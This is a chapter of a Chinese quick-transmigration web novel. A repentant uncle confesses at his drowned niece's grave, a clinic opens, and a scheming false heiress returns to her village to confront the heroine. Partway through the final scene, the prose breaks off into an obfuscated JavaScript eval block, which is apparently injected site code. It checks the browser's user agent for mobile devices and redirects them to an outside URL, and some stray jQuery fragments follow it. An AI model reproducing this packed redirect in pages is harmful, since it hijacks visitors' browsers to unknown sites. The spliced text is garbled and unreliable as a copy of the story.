37. 悲惨假千金
作品:《悲惨值清零计划[快穿]》 第二天,村子里发生了一件大事。
阮四宝鬼哭狼嚎地跑到后山侄女的坟前,咣咣咣地磕头,一边磕一边说着什么。任凭旁人怎么拉都没有用,像是失心疯一般。
听闻消息的阮家人都来了,阮夏也来了,站在人群后面观望。
坟前散落着一些石子,阮四宝磕的满脸是血。
“你放过我吧,我错了,你放过我,放过我!”
阮家的几位叔伯正想要把人拉起来,听到他的话之后面面相觑,停下了动作。
有心思活络的人猜测:“老四,你是梦到清丫头了吗?”
阮四宝听到那三个字像是想起了什么可怕的画面,抖如筛糠。爬起来想要看清周围的人。额头的血模糊了他的视线,他胡乱地抹了一把,却把鲜红的血液涂抹得满脸都是,加之惊惶的表情,让围观的人心里升起了一股冷意。
都说淹死的人会变成水鬼,寻找替身。莫不是阮清那丫头回来找替身来了?
阮四宝不知道别人在想什么,他脑海里浮现的都是陌生女孩双眼流出血泪的那一幕,害死一个无辜少女却没有半点愧疚的心此刻涌起无尽的恐惧加懊悔。
终于,他在朦胧的视线中找到了想要找的人,然后扑通一声跪了下来。
阮清的父母正在地里做农活,听到邻居跑来传话,说他们家老四突然疯疯癫癫跑到自家闺女坟前磕头,边磕边嚎。两人大吃一惊,连忙放下锄头,小跑往山上跑去。
女孩家没成亲,不能葬入祖坟。女儿又是溺水,不能葬在水边。他们便选了一个靠山的阴凉地界。
他们刚跑到山上,就见偏僻的地方围满了看热闹的人群。两人路上还在嘀咕,为什么一个长辈会到一个晚辈坟前磕头。就见老四满脸是血地冲过来,扑通一声跪在他们面前。一边磕头,一边痛哭流涕。
“是我不对,是我害死了清丫头。我磕头,我忏悔,我磕头,我忏悔……”
接下来的事情顺理成章,所有人都知道了事情的真相,都知道了阮四宝是个卖侄女换钱的混球。
自此,阮四宝变得如惊弓之鸟,疑神疑鬼。家里儿子儿媳,甚至孙子都遭人指指点点,抬不起头。他们家人本就凉薄,一家人恨他入骨。
几个儿媳纷纷吵着分家,连他婆娘也跟着小儿子另起了一个宅子。留他一个人在老房子生活,整日浑浑噩噩,没过几年就不在了。
“你怎么知道他做的那些事?”段瑞宁一边收拾药草,一边问。
“我自有我的方法。不过,我们也算帮阮清报仇了。”阮夏慵懒地靠在椅背上,感慨道。
突然她像是想起什么,“那个伶人的银子你给了没?”
“给了,她本来听说事情原委,不打算要的。我还是给了她。”
……
二月二,龙抬头。
所有事宜准备妥当,合医堂正式开始营业。
阮夏让段瑞宁写了张牌子挂在门口。上面写着“医馆开张,前三天看诊送鸡蛋两枚”。她这是跟现代药店买药送鸡蛋学来的,每次药店一做活动,一群老头老太太都来了。
不知道是真的被这两个鸡蛋吸引,还是医馆以前的老顾客在,总之,刚开张,无论大病小病,来问诊的人还挺多的。
加之段瑞宁的医术精湛,口口相传,慕名而来的人也多了起来。阮夏忙的脚不沾地,直接放弃了算盘,拿出来之前的炭笔记账算账。
还是这样比较快!
日子一天天忙碌又充实。耳濡目染,阮夏已经认识了好多种药草,并能准确说出它们的药性。但是把脉就算了,段瑞宁教了好多次,可是无论她怎么摸,都是千篇一律的“砰砰砰”跳动声,什么都感觉不出来。
天气回暖,孟菱玉想起了城南的桃花林的美景,便邀约未婚夫一起去赏花,却没料到遭到了拒绝和羞辱。
“赏花?你家小姐也懂赏花吗?先不论作诗,你家小姐知道几首颂花的诗句?”
丫鬟把消息一五一十地汇报了回来。孟菱玉再次发了疯,她迅速派人去找徐文远,却等来了他出事的消息。
“出了什么事?”
“奴婢怕生面孔引人注意,没敢进村子。只打听到说徐公子上山打猎遇到了,遇到了鬼,吓得跌落下来摔断了手和腿,也因为惊吓过度,至今不能开口说话。”小丫鬟把打听的事情说了。
孟菱玉跌坐在凳子上,怎么会这样?
手脚断了,口不能言,那跟一个废人什么区别?
她突然捂住脸,掩饰自己通红蓄满泪水的眼睛。
“跌落山崖就跌落山崖,哪里有什么鬼,不要在小姐面前瞎说。”采菊以为主子被吓到了,轻声训斥小丫鬟。
孟菱玉猛然抬头,对,哪有什么鬼!她生活了十几年的地方,从未听说有什么鬼怪传说。联想到之前小丫鬟的事情,她悚然一惊,口不能言,手不能写,这样就无法说出是谁害了他!
是阮夏,一定是她!
孟菱玉站起来往外走,她必须要回一趟清渠县,她必须要见到徐文远!
借口想念养父母和以前的朋友,孟菱玉央求孟夫人同意她回去一趟。当然知府千金的派头不能少,她此行带了两个侍卫和几个丫鬟。浩浩荡荡地回来了。
因为这虚容的派头,阮夏在她入城时便知道了她来的消息。
“是不是来对付你的?”段瑞宁一脸担忧。
“没关系,”兵来将挡水来土掩,更何况,她还怕她不来呢!
段瑞宁不放心,直接把医馆关门了,要陪着阮夏一起回去。临走之前,还托沈小五能来帮忙照看一下房子。
富贵不还乡,如锦衣夜行,孟菱玉也不例外。她衣着华贵,头上戴着略微夸张的金饰,下车要扶着丫鬟的手,下车后,走三步抵不上旁人走一步。
在村里一起生活了十几年,谁不知道谁?就这作态,不了解的还以为是公主出巡呢。本来围着看热闹恭维的人,渐渐回过味来,找了借口走了。
阮夏盯着她这一身特意的装扮,似笑非笑:“妹妹这衣服真好看,跟仙女下凡似的。”
孟菱玉对她心存忌惮,但见她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482966|168132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身上穿着的粗布衣服,头上素净的只有一根木簪,两人身份上的差别顿时转换成浓浓的鄙夷和得意。
她语气轻快:“姐姐喜欢的话,等回去了也给你裁两身送过来。反正也不过几十两银子。”
她说完,阮夏没有直接答应,只是浅浅地勾了勾唇。阮父阮母却脸色变了变,两人对视一眼,都在彼此眼中看到了惊讶。
注意到两老的神色,孟菱玉神色一僵。该死,她为了把阮夏比下去,竟然忘了伪装。不过,转瞬她又释然了,忘了就忘了,爹娘养了她十几年,对她的爱护是无人可替代的,不会在意这点小事。就像孟夫人一般,虽然她这个亲生女儿陪在身边,却依旧惦记着养了十几年的阮夏。
“爹娘,我都说了,你不用担心。我们上次去府城我都注意到了,妹妹在孟府过的很好。这些衣服首饰,都是知府府每个季度都要做的,不需要额外花钱。而且妹妹每月有五两银子月钱,这还不算孟夫人心疼女儿,给她的贴补呢。今日一见,你们也应该放心了吧。”阮夏适时开口,把孟菱玉想要隐藏的事实直接放在明面上。
之前来信中,孟菱玉都是说自己在府城过的多么辛苦。每日不是苦学琴棋书画,就是学规矩,日子过的谨小慎微,甚至连丫鬟都敢笑话她。阮父阮母担心她跟以前一样太过节俭惹来的笑话,便将家里存的银钱都托人带给了她。可现在,她话里话外连几十两都不放在眼里,这哪里是过的辛苦,分明过的很好!
她为什么要在信里撒谎?
是为了让他们心疼,还是怕夏夏占了她曾经的位置吗?
可是她已经是孟夫人的女儿了啊。不可能他们和孟家都紧要着她一人。孟夫人疼自己女儿,他们也有亲生女儿啊!
思及此,阮父阮母脸色不太好看,看向孟菱玉的眼神夹杂了些别的意味。
孟菱玉指尖狠狠地掐着手心,强迫自己不要在此时发作。
上一世到死她都没再回来过,对这对养父母早已没有了什么感情。就算有,这么多年也早已经淡了。而此刻她的心里却升起了浓浓地怨怼和恨意。
十几年的陪伴却比不过亲生女儿在身边一年的感情深厚。而她的未婚夫,却说青梅竹马的感情是婚约也无法改变得了的。
多么大的讽刺!完全悖谬的两件事,得利者都是阮夏。她身边的所有人,都偏向阮夏。这个人简直是她的克星!
掌心尖锐的疼痛将她的心神唤回现实。
她故作淡定,仿佛刚才什么事都没发生。开口问道:“我在来的路上听说徐大哥从山上摔下来了,怎么会这样?”
她话是对着阮母说的,双眼却注意着旁边的阮夏。
阮夏不卑不亢地回望,连嘴角的弧度都没变。
“哎,也是个苦命的。之前你们两个经常来往。这次回来去看看他也好。”阮母也叹了口气。
阮母的这句话正中孟菱玉的下怀。她不可能进村就直接奔徐文远家,有了这句话就有了去探望的正当理由。
然而下一刻,就见阮夏起身:“我带妹妹去吧!”